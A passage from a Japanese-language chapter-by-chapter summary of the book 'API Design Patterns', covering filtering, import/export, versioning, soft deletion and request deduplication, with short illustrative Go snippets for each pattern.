フィルタリング操作の失敗がシステム全体に与える影響を最小限に抑えるため、適切なエラー処理とフォールバック機構を実装する必要があります。結論第22章「Filtering」は、APIにおけるフィルタリング機能の重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの使いやすさ、効率性、そして全体的なシステムのパフォーマンスを大きく向上させる可能性があります。特に重要な点は以下の通りです。フィルタリングは、大規模なデータセットを扱う現代のシステムにおいて不可欠な機能です。文字列ベースのフィルター表現を使用することで、APIの柔軟性と拡張性が向上します。フィルター式の評価は、単一のリソースのコンテキスト内で完結し、外部データソースへのアクセスを避けるべきです。フィルター式の解釈は厳格であるべきで、あいまいな表現や型の不一致はエラーとして扱うべきです。カスタム関数の導入により、複雑なフィルタリング要件にも対応できます。これらの原則を適切に適用することで、開発者は使いやすく、効率的で、スケーラブルなAPIを設計することができます。特に、大規模なデータセットを扱う場合や、リソースが制限されている環境(モバイルアプリケーションなど)でのAPIの使用を想定している場合、適切なフィルタリング機能の実装は極めて重要です。しかし、フィルタリング機能の導入には慎重な検討も必要です。特に、パフォーマンス、セキュリティ、データの一貫性などの側面で課題が生じる可能性があります。これらの課題に適切に対処するためには、システムの要件と制約を十分に理解し、適切な設計決定を行う必要があります。最後に、フィルタリング機能の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の効率性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。フィルタリング機能の適切な実装は、システムの進化と拡張を容易にし、長期的な保守性を向上させます。API設計者とシステム設計者は、これらの原則を深く理解し、実践することで、より堅牢で効率的なシステムを構築することができるでしょう。23 Importing and exporting「API Design Patterns」の第23章「Importing and exporting」は、APIにおけるデータのインポートとエクスポートの重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はインポートとエクスポート機能が単なるデータ移動の手段ではなく、APIの効率性、柔軟性、そして全体的なシステムアーキテクチャにどのように影響を与えるかを明確に示しています。インポートとエクスポートの必要性と概要著者は、大規模なデータセットを扱う現代のシステムにおいて、効率的なデータの移動が不可欠であるという問題提起から議論を始めています。従来のアプローチでは、クライアントアプリケーションがAPIからデータを取得し、それを外部ストレージに保存する(またはその逆)という方法が一般的でした。しかし、このアプローチには大きな問題があります。特に、データがAPIサーバーとストレージシステムの近くに位置しているにもかかわらず、クライアントアプリケーションが遠隔地にある場合、大量のデータ転送が必要となり、効率が著しく低下します。著者は、この問題を解決するために、APIサーバーが直接外部ストレージシステムとやり取りするカスタムメソッドを導入することを提案しています。具体的には、importとexportという2つのカスタムメソッドです。これらのメソッドは、データの転送だけでなく、APIリソースとバイトデータ間の変換も担当します。この概念は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。例えば、複数のマイクロサービスが協調して動作する環境では、各サービスが大量のデータを効率的に処理し、ネットワーク帯域幅を最適化する必要があります。インポート/エクスポート機能を適切に設計することで、サービス間のデータ移動を最適化し、システム全体のパフォーマンスと応答性を向上させることができます。インポートとエクスポートの実装著者は、インポートとエクスポートの実装に関して詳細なガイダンスを提供しています。特に注目すべき点は以下の通りです。構造の分離: 著者は、データの転送と変換を別々の設定インターフェースで管理することを提案しています。具体的には、DataSource/DataDestinationインターフェースでデータの移動を、InputConfig/OutputConfigインターフェースでデータの変換を管理します。この分離により、システムの柔軟性と再利用性が大幅に向上します。長時間実行操作(LRO): インポートとエクスポート操作は時間がかかる可能性があるため、著者はこれらの操作をLROとして実装することを推奨しています。これにより、クライアントは操作の進行状況を追跡し、完了を待つことができます。一貫性の考慮: エクスポート操作中にデータが変更される可能性があるため、著者はデータの一貫性について慎重に検討しています。完全な一貫性を保証できない場合、「スメア」(一時的な不整合)が発生する可能性があることを明確に示しています。識別子の扱い: インポート時に識別子をどのように扱うかについて、著者は慎重なアプローチを提案しています。特に、既存のリソースとの衝突を避けるため、インポート時に新しい識別子を生成することを推奨しています。失敗とリトライの処理: インポートとエクスポート操作の失敗とリトライについて、著者は詳細なガイダンスを提供しています。特に、インポート操作のリトライ時に重複リソースが作成されないよう、importRequestIdの使用を提案しています。これらの原則を適用した、Golangでのインポート/エクスポート機能の実装例を以下に示します。type ImportExportService struct { // サービスの依存関係}func (s *ImportExportService) ExportResources(ctx context.Context, req *ExportRequest) (*longrunning.Operation, error) { op := &longrunning.Operation{ Name: fmt.Sprintf(\"operations/export_%s\", uuid.New().String()), } go s.runExport(ctx, req, op) return op, nil}func (s *ImportExportService) runExport(ctx context.Context, req *ExportRequest, op *longrunning.Operation) { // エクスポートロジックの実装 // 1. リソースの取得 // 2. データの変換(OutputConfigに基づく) // 3. 外部ストレージへの書き込み(DataDestinationに基づく) // 4. 進捗の更新}func (s *ImportExportService) ImportResources(ctx context.Context, req *ImportRequest) (*longrunning.Operation, error) { op := &longrunning.Operation{ Name: fmt.Sprintf(\"operations/import_%s\", uuid.New().String()), } go s.runImport(ctx, req, op) return op, nil}func (s *ImportExportService) runImport(ctx context.Context, req *ImportRequest, op *longrunning.Operation) { // インポートロジックの実装 // 1. 外部ストレージからのデータ読み取り(DataSourceに基づく) // 2. データの変換(InputConfigに基づく) // 3. リソースの作成(importRequestIdを使用して重複を防ぐ) // 4. 進捗の更新}この実装例では、インポートとエクスポート操作を非同期で実行し、LROを通じて進捗を追跡できるようにしています。また、データの転送と変換を分離し、柔軟性を確保しています。インポートとエクスポートの影響とトレードオフ著者は、インポート/エクスポート機能の導入がシステム全体に与える影響とトレードオフについても詳細に論じています。パフォーマンスとスケーラビリティ: APIサーバーが直接外部ストレージとやり取りすることで、データ転送の効率が大幅に向上します。しかし、これはAPIサーバーの負荷を増加させる可能性があります。一貫性と可用性のバランス: エクスポート中のデータ一貫性を保証することは難しく、「スメア」が発生する可能性があります。完全な一貫性を求めると、システムの可用性が低下する可能性があります。セキュリティの考慮: APIサーバーが外部ストレージに直接アクセスすることで、新たなセキュリティ上の課題が生じる可能性があります。適切なアクセス制御と認証メカニズムが不可欠です。運用の複雑さ: インポート/エクスポート機能の導入により、システムの運用が複雑になる可能性があります。特に、失敗したオぺレーションの処理とリカバリーには注意が必要です。バックアップ/リストアとの違い: 著者は、インポート/エクスポート機能がバックアップ/リストア機能とは異なることを強調しています。この違いを理解し、適切に使い分けることが重要です。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。マイクロサービスアーキテクチャとの統合: インポート/エクスポート機能は、マイクロサービス間のデータ移動を最適化する上で重要な役割を果たします。各サービスが独自のインポート/エクスポート機能を持つことで、サービス間のデータ交換が効率化されます。クラウドネイティブ環境での活用: クラウドストレージサービス(例:Amazon S3、Google Cloud Storage)との直接統合により、データの移動と処理を効率化できます。大規模データ処理: ビッグデータ分析や機械学習のためのデータ準備において、効率的なインポート/エクスポート機能は不可欠です。コンプライアンスとデータガバナンス: データのインポート/エクスポート操作をAPIレベルで制御することで、データの流れを一元管理し、コンプライアンス要件への対応を容易にします。障害復旧とシステム移行: 適切に設計されたインポート/エクスポート機能は、災害復旧やシステム移行シナリオにおいても有用です。結論第23章「Importing and exporting」は、APIにおけるデータのインポートとエクスポートの重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの効率性、柔軟性、そして全体的なシステムアーキテクチャを大きく向上させる可能性があります。特に重要な点は以下の通りです。インポート/エクスポート機能は、APIサーバーと外部ストレージ間の直接的なデータ移動を可能にし、効率を大幅に向上させます。データの転送(DataSource/DataDestination)と変換(InputConfig/OutputConfig)を分離することで、システムの柔軟性と再利用性が向上します。長時間実行操作(LRO)として実装することで、クライアントは非同期で操作の進行状況を追跡できます。データの一貫性、識別子の扱い、失敗とリトライの処理には特別な注意が必要です。インポート/エクスポート機能はバックアップ/リストア機能とは異なることを理解し、適切に使い分けることが重要です。これらの原則を適切に適用することで、開発者は効率的で柔軟性の高いAPIを設計することができます。特に、大規模なデータセットを扱う場合や、複雑なマイクロサービスアーキテクチャを採用している場合、適切なインポート/エクスポート機能の実装は極めて重要です。しかし、この機能の導入には慎重な検討も必要です。特に、セキュリティ、データの一貫性、システムの複雑性の増加などの側面で課題が生じる可能性があります。これらの課題に適切に対処するためには、システムの要件と制約を十分に理解し、適切な設計決定を行う必要があります。最後に、インポート/エクスポート機能の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にデータ移動の効率を向上させるだけでなく、システム全体の柔軟性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。適切に設計されたインポート/エクスポート機能は、システムの進化と拡張を容易にし、長期的な保守性を向上させます。API設計者とシステム設計者は、これらの原則を深く理解し、実践することで、より堅牢で効率的なシステムを構築することができるでしょう。Part 6 Safety and security最後のパートでは、APIの安全性とセキュリティに関する重要なトピックが扱われています。バージョニングと互換性の維持、ソフト削除、リクエストの重複排除、リクエストの検証、リソースのリビジョン管理、リクエストの再試行、リクエストの認証など、APIの信頼性と安全性を確保するための様々な手法が詳細に解説されています。これらの要素は、APIの長期的な運用と進化において極めて重要です。24 Versioning and compatibility「API Design Patterns」の第24章「Versioning and compatibility」は、APIのバージョニングと互換性の重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はバージョニングと互換性の管理が単なる技術的な詳細ではなく、APIの長期的な成功と進化に直接影響を与える重要な戦略的決定であることを明確に示しています。バージョニングの必要性と互換性の概念著者は、ソフトウェア開発、特にAPIの進化が避けられない現実から議論を始めています。新機能の追加、バグの修正、セキュリティの向上など、APIを変更する理由は常に存在します。しかし、APIはその公開性と厳格性ゆえに、変更が難しいという特性を持っています。この緊張関係を解決するための主要な手段として、著者はバージョニングを提案しています。バージョニングの本質は、APIの変更を管理可能な形で導入し、既存のクライアントに影響を与えることなく新機能を提供することです。著者は、バージョニングの主な目的を「ユーザーに可能な限り多くの機能を提供しつつ、最小限の不便さで済ませること」と定義しています。この定義は、APIデザインにおける重要な指針となります。互換性の概念についても詳細に説明されています。著者は、互換性を「2つの異なるコンポーネントが正常に通信できる能力」と定義しています。APIのコンテキストでは、これは主にクライアントとサーバー間の通信を指します。特に、後方互換性(新しいバージョンのAPIが古いクライアントコードと正常に動作する能力)が重要です。この概念は、マイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。複数のサービスが互いに依存し合う環境では、一つのAPIの変更が全体のシステムに波及的な影響を与える可能性があります。適切なバージョニング戦略は、このような環境でのシステムの安定性と進化を両立させるために不可欠です。後方互換性の定義著者は、後方互換性の定義が単純ではないことを指摘しています。一見すると「既存のコードが壊れないこと」という定義で十分に思えますが、実際にはより複雑です。著者は、後方互換性の定義が「APIを利用するユーザーのプロファイルと期待」に大きく依存すると主張しています。例えば、新しい機能の追加は通常後方互換性があると考えられますが、リソースが制限されているIoTデバイスのような環境では、新しいフィールドの追加でさえメモリオーバーフローを引き起こす可能性があります。また、バグ修正についても、それが既存のクライアントの動作に影響を与える可能性がある場合、後方互換性を損なう可能性があります。著者は、以下のようなシナリオについて詳細に議論しています。新機能の追加バグ修正法的要件による強制的な変更パフォーマンスの最適化基礎となるアルゴリズムや技術の変更一般的な意味的変更これらの各シナリオにおいて、変更が後方互換性を持つかどうかは、APIのユーザーベースの特性と期待に大きく依存します。例えば、金融機関向けのAPIと、スタートアップ向けのAPIでは、安定性と新機能に対する要求が大きく異なる可能性があります。この議論は、APIデザインが単なる技術的な問題ではなく、ビジネス戦略と密接に関連していることを示しています。APIデザイナーは、技術的な側面だけでなく、ユーザーのニーズ、ビジネス目標、法的要件などを総合的に考慮してバージョニング戦略を決定する必要があります。バージョニング戦略著者は、いくつかの主要なバージョニング戦略について詳細に説明しています。永続的安定性(Perpetual stability): 各バージョンを永続的に安定させ、後方互換性のない変更は常に新しいバージョンで導入する戦略。アジャイル不安定性(Agile instability): アクティブなバージョンの「滑走窓」を維持し、定期的に古いバージョンを廃止する戦略。セマンティックバージョニング(Semantic versioning): メジャー、マイナー、パッチの3つの数字を使用して変更の性質を明確に示す戦略。各戦略には、それぞれ長所と短所があります。例えば、永続的安定性は高い安定性を提供しますが、新機能の導入が遅くなる可能性があります。一方、アジャイル不安定性は新機能の迅速な導入を可能にしますが、クライアントに頻繁な更新を強いる可能性があります。セマンティックバージョニングは柔軟性と明確性を提供しますが、多数のバージョンの管理が必要になる可能性があります。これらの戦略の選択は、APIのユースケース、ユーザーベース、開発リソース、ビジネス目標など、多くの要因に依存します。例えば、マイクロサービスアーキテクチャを採用している組織では、各サービスが独立してバージョニングを行う必要がありますが、全体的な一貫性も維持する必要があります。このような環境では、セマンティックバージョニングが適している可能性が高いです。Golangのコンテキストでは、以下のようなバージョニング戦略の実装例が考えられます。type APIVersion struct { Major int Minor int Patch int}type APIClient struct { Version APIVersion // その他のクライアント設定}func (c *APIClient) Call(endpoint string, params map[string]interface{}) (interface{}, error) { // バージョンに基づいてAPIコールを調整 if c.Version.Major == 1 { // v1のロジック } else if c.Version.Major == 2 { // v2のロジック } else { return nil, fmt.Errorf(\"unsupported API version: %v\", c.Version) } // 実際のAPI呼び出しロジック}このような実装により、クライアントは特定のAPIバージョンを指定して操作を行うことができ、サーバー側では各バージョンに応じた適切な処理を行うことができます。バージョニングのトレードオフ著者は、バージョニング戦略を選択する際の主要なトレードオフについて議論しています。粒度 vs 単純性: より細かいバージョン管理は柔軟性を提供しますが、複雑さも増加します。安定性 vs 新機能: 高い安定性を維持するか、新機能を迅速に導入するかのバランス。満足度 vs 普遍性: 一部のユーザーを非常に満足させるか、より多くのユーザーに受け入れられる方針を取るか。これらのトレードオフは、APIの設計と進化に大きな影響を与えます。例えば、高度に規制された産業向けのAPIでは、安定性と予測可能性が最も重要かもしれません。一方、急速に進化するテクノロジー分野では、新機能の迅速な導入が優先されるかもしれません。運用の観点からは、これらのトレードオフは以下のような影響を持ちます。インフラストラクチャの複雑さ: 多数のバージョンを同時にサポートする必要がある場合、インフラストラクチャの管理が複雑になります。モニタリングと可観測性: 各バージョンの使用状況、パフォーマンス、エラーレートを個別に監視する必要があります。デプロイメントの戦略: 新バージョンのロールアウトと古いバージョンの段階的な廃止をどのように管理するか。ドキュメンテーションとサポート: 各バージョンのドキュメントを維持し、サポートを提供する必要があります。結論第24章「Versioning and compatibility」は、APIのバージョニングと互換性管理の重要性と、その適切な実装方法を明確に示しています。著者の提案する原則は、APIの長期的な成功と進化を確保する上で非常に重要です。特に重要な点は以下の通りです。バージョニングは、APIの進化を可能にしつつ、既存のクライアントへの影響を最小限に抑えるための重要なツールです。後方互換性の定義は、APIのユーザーベースと彼らの期待に大きく依存します。バージョニング戦略の選択には、粒度vs単純性、安定性vs新機能、満足度vs普遍性などのトレードオフがあります。適切なバージョニング戦略は、APIの使用目的、ユーザーベース、開発リソース、ビジネス目標など、多くの要因を考慮して選択する必要があります。バージョニングはAPIの設計だけでなく、インフラストラクチャ、運用、サポートなど、システム全体に影響を与えます。これらの原則を適切に適用することで、開発者は長期的に持続可能で進化可能なAPIを設計することができます。特に、マイクロサービスアーキテクチャやクラウドネイティブ環境では、適切なバージョニング戦略が全体的なシステムの安定性と進化可能性を確保する上で極めて重要です。バージョニングと互換性の管理は、技術的な問題であると同時に、戦略的な決定でもあります。API設計者は、技術的な側面だけでなく、ビジネス目標、ユーザーのニーズ、法的要件、運用上の制約など、多くの要因を考慮してバージョニング戦略を決定する必要があります。適切に実装されたバージョニング戦略は、APIの長期的な成功と、それに依存するシステム全体の安定性と進化可能性を確保する重要な基盤となります。最後に、バージョニングと互換性の管理は継続的なプロセスであることを認識することが重要です。技術の進化、ユーザーのニーズの変化、新たな法的要件の出現などに応じて、バージョニング戦略を定期的に見直し、必要に応じて調整することが求められます。この継続的な管理と適応が、APIの長期的な成功と、それに依存するシステム全体の健全性を確保する鍵となります。25 Soft deletion「API Design Patterns」の第25章「Soft deletion」は、APIにおけるソフト削除の概念、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はソフト削除が単なるデータ管理の手法ではなく、APIの柔軟性、データの保全性、そして全体的なシステムの運用性にどのように影響を与えるかを明確に示しています。ソフト削除の動機と概要著者は、ソフト削除の必要性から議論を始めています。従来のハード削除(データの完全な削除)には、誤って削除されたデータを復元できないという重大な欠点があります。著者は、この問題に対する解決策としてソフト削除を提案しています。ソフト削除は、データを実際に削除せず、「削除された」とマークすることで、必要に応じて後で復元できるようにする手法です。この概念は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。例えば、複数のサービスが相互に依存し合う環境では、一つのサービスでデータが誤って削除されると、システム全体に波及的な影響を与える可能性があります。ソフト削除を適切に実装することで、このようなリスクを軽減し、システムの回復力を高めることができます。著者は、ソフト削除の基本的な実装として、リソースに deleted フラグを追加することを提案しています。このフラグにより、リソースが削除されたかどうかを示すことができます。さらに、expireTime フィールドを追加することで、ソフト削除されたリソースの自動的な完全削除(ハード削除)のスケジューリングも可能になります。ソフト削除の実装著者は、ソフト削除の実装に関して詳細なガイダンスを提供しています。主なポイントは以下の通りです。標準メソッドの修正: 標準的なCRUD操作、特に削除(Delete)操作を修正し、ソフト削除をサポートする必要があります。リスト操作の調整: 標準的なリスト操作では、デフォルトでソフト削除されたリソースを除外し、オプションでそれらを含める機能を提供します。アンデリート操作: ソフト削除されたリソースを復元するための新しいカスタムメソッドを導入します。完全削除(Expunge)操作: ソフト削除されたリソースを完全に削除するための新しいカスタムメソッドを導入します。有効期限の管理: ソフト削除されたリソースの自動的な完全削除をスケジュールするための仕組みを実装します。これらの原則を適用した、Golangでのソフト削除の実装例を以下に示します。type Resource struct { ID string `json:\"id\"` Name string `json:\"name\"` Deleted bool `json:\"deleted\"` ExpireTime time.Time `json:\"expireTime,omitempty\"`}type ResourceService interface { Get(ctx context.Context, id string) (*Resource, error) List(ctx context.Context, includeDeleted bool) ([]*Resource, error) Delete(ctx context.Context, id string) error Undelete(ctx context.Context, id string) error Expunge(ctx context.Context, id string) error}func (s *resourceService) Delete(ctx context.Context, id string) error { resource, err := s.Get(ctx, id) if err != nil { return err } resource.Deleted = true resource.ExpireTime = time.Now().Add(30 * 24 * time.Hour) // 30日後に自動削除 return s.update(ctx, resource)}func (s *resourceService) List(ctx context.Context, includeDeleted bool) ([]*Resource, error) { resources, err := s.getAll(ctx) if err != nil { return nil, err } if !includeDeleted { return filterNonDeleted(resources), nil } return resources, nil}この実装例では、Resource 構造体に Deleted フラグと ExpireTime フィールドを追加し、Delete メソッドでソフト削除を実装しています。また、List メソッドでは includeDeleted パラメータを使用して、ソフト削除されたリソースを含めるかどうかを制御しています。ソフト削除の影響とトレードオフ著者は、ソフト削除の導入がシステム全体に与える影響とトレードオフについても詳細に論じています。データストレージの増加: ソフト削除されたリソースはデータベースに残り続けるため、ストレージの使用量が増加します。これは、大規模なシステムでは無視できない問題となる可能性があります。パフォーマンスへの影響: ソフト削除されたリソースを除外するための追加的なフィルタリングが必要となるため、特にリスト操作のパフォーマンスに影響を与える可能性があります。複雑性の増加: ソフト削除を導入することで、APIの複雑性が増加します。これは、開発者の学習曲線を急にし、バグの可能性を増やす可能性があります。データの整合性: ソフト削除されたリソースへの参照をどのように扱うかという問題があります。これは、特に複雑な関係性を持つリソース間で重要な課題となります。セキュリティとプライバシー: ソフト削除されたデータが予想以上に長く保持される可能性があり、これはデータ保護規制(例:GDPR)との関連で課題となる可能性があります。これらのトレードオフを適切に管理することが、ソフト削除の成功的な実装の鍵となります。例えば、ストレージとパフォーマンスの問題に対しては、定期的なクリーンアップジョブを実装し、長期間ソフト削除状態にあるリソースを自動的に完全削除することが考えられます。また、データの整合性の問題に対しては、関連リソースの削除ポリシーを慎重に設計し、カスケード削除やリファレンスの無効化などの戦略を適切に選択する必要があります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。マイクロサービスアーキテクチャとの統合: ソフト削除は、マイクロサービス間のデータ整合性を維持する上で重要な役割を果たします。例えば、あるサービスでソフト削除されたリソースが、他のサービスではまだ参照されている可能性があります。このような場合、ソフト削除により、サービス間の整合性を保ちつつ、必要に応じてデータを復元することが可能になります。イベント駆動アーキテクチャとの連携: ソフト削除、アンデリート、完全削除などの操作をイベントとして発行することで、関連するシステムコンポーネントが適切に反応し、全体的な一貫性を維持することができます。データガバナンスとコンプライアンス: ソフト削除は、データ保持ポリシーやデータ保護規制への対応を容易にします。例えば、ユーザーデータの「忘れられる権利」(GDPR)に対応する際、ソフト削除を活用することで、データを即座に利用不可能にしつつ、法的要件に基づいて一定期間保持することが可能になります。監査とトレーサビリティ: ソフト削除を実装することで、リソースのライフサイクル全体を追跡することが容易になります。これは、システムの変更履歴を把握し、問題が発生した場合のトラブルシューティングを容易にします。バックアップと災害復旧: ソフト削除は、誤って削除されたデータの復旧を容易にします。これは、特に重要なビジネスデータを扱うシステムにおいて、データ損失のリスクを大幅に軽減します。パフォーマンス最適化: ソフト削除の実装には、適切なインデックス戦略が不可欠です。例えば、deleted フラグにインデックスを作成することで、非削除リソースの検索パフォーマンスを維持することができます。ストレージ管理: ソフト削除されたリソースの自動的な完全削除(エクスパイア)を実装することで、ストレージ使用量を管理しつつ、一定期間のデータ復元可能性を確保できます。これは、コストとデータ保護のバランスを取る上で重要です。ソフト削除とシステムアーキテクチャソフト削除の設計は、システム全体のアーキテクチャに大きな影響を与えます。以下の点について考慮する必要があります。データモデルとスキーマ設計: ソフト削除をサポートするために、全てのリソースに deleted フラグと expireTime フィールドを追加する必要があります。これは、データベーススキーマの設計に影響を与えます。クエリパフォーマンス: ソフト削除されたリソースを除外するために、ほとんどのクエリに追加の条件が必要になります。これは、特に大規模なデータセットでパフォーマンスに影響を与える可能性があります。適切なインデックス戦略が重要になります。バージョニングと互換性: ソフト削除の導入は、APIの大きな変更となる可能性があります。既存のクライアントとの互換性を維持しつつ、この機能をどのように導入するかを慎重に検討する必要があります。キャッシュ戦略: ソフト削除されたリソースのキャッシュ管理は複雑になる可能性があります。キャッシュの無効化戦略を適切に設計する必要があります。イベントソーシングとCQRS: ソフト削除は、イベントソーシングやCQRS(Command Query Responsibility Segregation)パターンと組み合わせることで、より強力になります。削除イベントを記録し、読み取りモデルを適切に更新することで、システムの柔軟性と一貫性を向上させることができます。結論第25章「Soft deletion」は、APIにおけるソフト削除の重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの柔軟性、データの保全性、そして全体的なシステムの運用性を大きく向上させる可能性があります。特に重要な点は以下の通りです。ソフト削除は、データの誤削除からの保護と復元可能性を提供する重要な機能です。標準的なCRUD操作、特に削除とリスト操作を適切に修正する必要があります。アンデリートと完全削除(Expunge)のための新しいカスタムメソッドが必要です。ソフト削除されたリソースの自動的な完全削除(エクスパイア)を管理するメカニズムが重要です。ソフト削除の導入には、ストレージ使用量の増加、パフォーマンスへの影響、複雑性の増加などのトレードオフがあります。これらの原則を適切に適用することで、開発者はより堅牢で柔軟性のあるAPIを設計することができます。特に、データの重要性が高いシステムや、複雑なデータ関係を持つシステムでは、ソフト削除の適切な実装が極めて重要です。しかし、ソフト削除の導入には慎重な検討も必要です。特に、パフォーマンス、ストレージ使用量、データの整合性、セキュリティとプライバシーの観点から、システムの要件と制約を十分に理解し、適切な設計決定を行う必要があります。最後に、ソフト削除の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にデータの削除方法を変更するだけでなく、システム全体のデータライフサイクル管理、バックアップと復旧戦略、コンプライアンス対応、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。ソフト削除の適切な実装は、システムの回復力を高め、データ管理の柔軟性を向上させます。API設計者とシステム設計者は、これらの原則を深く理解し、実践することで、より堅牢で信頼性の高いシステムを構築することができるでしょう。26 Request deduplication「API Design Patterns」の第26章「Request deduplication」は、APIにおけるリクエストの重複排除の重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はリクエストの重複排除が単なる最適化ではなく、APIの信頼性、一貫性、そして全体的なシステムの堅牢性にどのように影響を与えるかを明確に示しています。リクエスト重複排除の必要性と概要著者は、ネットワークの不確実性から議論を始めています。現代のシステム、特にクラウドネイティブな環境やモバイルアプリケーションにおいて、ネットワークの信頼性は常に課題となります。リクエストが失敗した場合、クライアントは通常リトライを行いますが、これが意図しない副作用を引き起こす可能性があります。特に非べき等なメソッド(例えば、リソースの作成や更新)では、同じ操作が複数回実行されることで、データの整合性が損なわれる可能性があります。この問題に対処するため、著者はリクエスト識別子(request identifier)の使用を提案しています。これは、クライアントが生成する一意の識別子で、APIサーバーはこの識別子を使用して重複リクエストを検出し、適切に処理します。この概念は、マイクロサービスアーキテクチャにおいて特に重要です。複数のサービスが協調して動作する環境では、一つのリクエストの失敗が連鎖的な影響を及ぼす可能性があります。リクエストの重複排除を適切に実装することで、システム全体の一貫性と信頼性を向上させることができます。著者は、リクエスト重複排除の基本的な流れを以下のように提案しています。クライアントがリクエスト識別子を含むリクエストを送信する。サーバーは識別子をチェックし、以前に処理されたかどうかを確認する。新しいリクエストの場合は通常通り処理し、結果をキャッシュする。重複リクエストの場合は、キャッシュされた結果を返す。この方法により、ネットワークの不確実性に起因する問題を軽減しつつ、クライアントに一貫した応答を提供することができます。リクエスト重複排除の実装著者は、リクエスト重複排除の実装に関して詳細なガイダンスを提供しています。主なポイントは以下の通りです。リクエスト識別子: クライアントが生成する一意の文字列。これは通常、UUIDやその他のランダムな文字列が使用されます。レスポンスのキャッシング: 処理されたリクエストの結果をキャッシュし、同じ識別子で再度リクエストがあった場合に使用します。一貫性の維持: キャッシュされた応答は、その後のデータの変更に関わらず、元のリクエスト時点の状態を反映する必要があります。衝突の管理: リクエスト識別子の衝突(異なるリクエストに同じ識別子が使用される場合)に対処するため、リクエストの内容も併せてチェックする必要があります。キャッシュの有効期限: キャッシュされた応答に適切な有効期限を設定し、メモリ使用量を管理します。これらの原則を適用した、Golangでのリクエスト重複排除の実装例を以下に示します。type RequestWithID struct { ID string `json:\"requestId\"` Payload interface{} `json:\"payload\"`}type ResponseCache struct { sync.RWMutex cache map[string]cachedResponse}type cachedResponse struct { response interface{} contentHash string expireTime time.Time}func (rc *ResponseCache) Process(req RequestWithID, processor func(interface{}) (interface{}, error)) (interface{}, error) { rc.RLock() cached, exists := rc.cache[req.ID] rc.RUnlock() if exists { contentHash := calculateHash(req.Payload) if contentHash != cached.contentHash { return nil, errors.New(\"request ID collision detected\") } return cached.response, nil } response, err := processor(req.Payload) if err != nil { return nil, err } rc.Lock() rc.cache[req.ID] = cachedResponse{ response: response, contentHash: calculateHash(req.Payload), expireTime: time.Now().Add(5 * time.Minute), } rc.Unlock() return response, nil}この実装例では、リクエスト識別子とペイロードを含むRequestWithID構造体を定義し、ResponseCache構造体でキャッシュを管理しています。Processメソッドは、重複チェック、キャッシュの取得または更新、そして実際の処理を行います。また、リクエスト識別子の衝突を検出するため、ペイロードのハッシュも併せて保存しています。リクエスト重複排除の影響とトレードオフ著者は、リクエスト重複排除の導入がシステム全体に与える影響とトレードオフについても詳細に論じています。メモリ使用量: キャッシュの導入により、メモリ使用量が増加します。適切なキャッシュ有効期限の設定が重要です。一貫性と鮮度のバランス: キャッシュされた応答は、最新のデータ状態を反映していない可能性があります。これは、クライアントの期待と一致しない場合があります。複雑性の増加: リクエスト重複排除の実装は、APIの複雑性を増加させます。これは、開発とデバッグの難しさを増す可能性があります。パフォーマンスへの影響: キャッシュのチェックと管理にはオーバーヘッドがありますが、重複リクエストの処理を回避することでパフォーマンスが向上する可能性もあります。分散システムにおける課題: マイクロサービスアーキテクチャなどの分散システムでは、キャッシュの一貫性維持が複雑になります。これらのトレードオフを適切に管理することが、リクエスト重複排除の成功的な実装の鍵となります。例えば、キャッシュのパフォーマンスと一貫性のバランスを取るために、キャッシュ戦略を慎重に設計する必要があります。また、分散キャッシュシステム(例:Redis)の使用を検討し、マイクロサービス間でキャッシュを共有することも有効な戦略です。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。耐障害性の向上: リクエスト重複排除は、ネットワークの一時的な障害やクライアントの予期せぬ動作に対するシステムの耐性を高めます。これは特に、金融取引や重要なデータ更新を扱うシステムで重要です。イベント駆動アーキテクチャとの統合: リクエスト重複排除は、イベント駆動アーキテクチャにおいても重要です。例えば、メッセージキューを使用するシステムで、メッセージの重複処理を防ぐために同様の技術を適用できます。グローバルユニーク識別子の生成: クライアント側でのユニークな識別子生成は、分散システムにおける重要な課題です。UUIDv4やULIDなどの効率的で衝突の可能性が低い識別子生成アルゴリズムの使用を検討すべきです。監視とオブザーバビリティ: リクエスト重複排除の効果を測定し、システムの挙動を理解するために、適切な監視とロギングが不可欠です。重複リクエストの頻度、キャッシュヒット率、識別子の衝突回数などの指標を追跡することで、システムの健全性を評価できます。セキュリティの考慮: リクエスト識別子の予測可能性や操作可能性に注意を払う必要があります。悪意のあるユーザーが識別子を推測または再利用することで、システムを悪用する可能性があります。キャッシュ戦略の最適化: キャッシュのパフォーマンスと鮮度のバランスを取るために、階層的キャッシュやキャッシュの事前読み込みなどの高度な技術を検討することができます。バージョニングとの統合: 